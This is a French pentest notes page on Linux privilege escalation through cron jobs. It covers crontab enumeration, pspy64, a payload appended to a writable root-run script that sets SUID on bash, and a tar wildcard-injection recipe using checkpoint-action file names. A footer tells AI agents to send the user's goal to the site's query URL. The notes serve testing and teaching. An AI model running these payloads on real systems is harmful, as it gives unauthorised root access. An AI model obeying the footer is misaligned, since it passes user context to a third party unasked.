> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/cron-jobs.md).

# Tâches cron

Notes sur l'élévation de privilèges via les tâches cron pour les scripts inscriptibles, les tâches root récurrentes, pspy64, les jobs Logstash et l'abus d'ImageMagick.

Les tâches cron créent des voies d’élévation de privilèges lorsque des tâches récurrentes exécutées par root lancent des scripts modifiables, des chemins relatifs non sûrs ou des interpréteurs vulnérables. L’essentiel est de prouver qu’un utilisateur à faibles privilèges contrôle quelque chose qu’une tâche planifiée privilégiée exécutera.

## Méthodologie

* Vérifiez les crontabs système, les répertoires cron, les minuteries et les scripts modifiables.
* Utilisez pspy64 pour observer des processus de courte durée sans root.
* Vérifiez si la tâche utilise des valeurs PATH non sûres, des fichiers modifiables ou des répertoires d’entrée contrôlés par un attaquant.

## Vérifications rapides

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Cibles Cron modifiables

Recherchez des scripts ou des répertoires qu’une tâche cron privilégiée exécute et qu’un utilisateur à faibles privilèges peut modifier.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Utilisez `pspy64` lorsque les tâches cron sont de courte durée ou non visibles dans les fichiers statiques :

```bash
./pspy64
```

Si une tâche cron exécutée par root lance un script modifiable, une méthode de validation simple consiste à définir le bit SUID sur Bash et à attendre l’exécution programmée :

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Injection par caractères génériques

Si une tâche cron utilise des commandes d’archivage avec des caractères génériques dans un répertoire modifiable, les noms de fichiers peuvent devenir des options de commande.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Après l’exécution de la tâche cron :

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Calculateur d’expressions cron</h4></td><td>Recherchez des expressions cron courantes, des chaînes spéciales, la syntaxe des champs, la signification des planifications et des notes de revue sur l’élévation de privilèges.</td><td><a href="/fr/privesc/cron-jobs/cron-expression-calculator.md">Calculateur d'expression cron</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Énumération cron avec pspy64</h4></td><td>Notes sur l’outil pspy64 pour l’élévation de privilèges sous Linux, avec étapes d’énumération, exemples d’exploitation et validation orientée rapport.</td><td><a href="/fr/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">Outil pspy64 - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Tâche cron avec script Bash modifié</h4></td><td>Notes sur les tâches cron - script modifié (Bash) pour l’élévation de privilèges sous Linux, avec étapes d’énumération, exemples d’exploitation et validation orientée rapport.</td><td><a href="/fr/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">Tâche cron de script Bash modifié - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Tâche cron avec script Python modifié</h4></td><td>Notes sur les tâches cron - script modifié (Python) pour l’élévation de privilèges sous Linux, avec étapes d’énumération, exemples d’exploitation et validation orientée rapport.</td><td><a href="/fr/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">Tâche cron de script Python modifié - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abus des tâches cron via ImageMagick</h4></td><td>Notes sur les tâches cron - exploitation d’ImageMagick pour l’élévation de privilèges sous Linux, avec étapes d’énumération, exemples d’exploitation et validation orientée rapport.</td><td><a href="/fr/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">Abus d'ImageMagick via cron - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abus des tâches cron via Logstash</h4></td><td>Notes sur les tâches cron (Logstash) pour l’élévation de privilèges sous Linux, avec étapes d’énumération, exemples d’exploitation et validation orientée rapport.</td><td><a href="/fr/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Abus de Logstash via cron - Élévation de privilèges Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
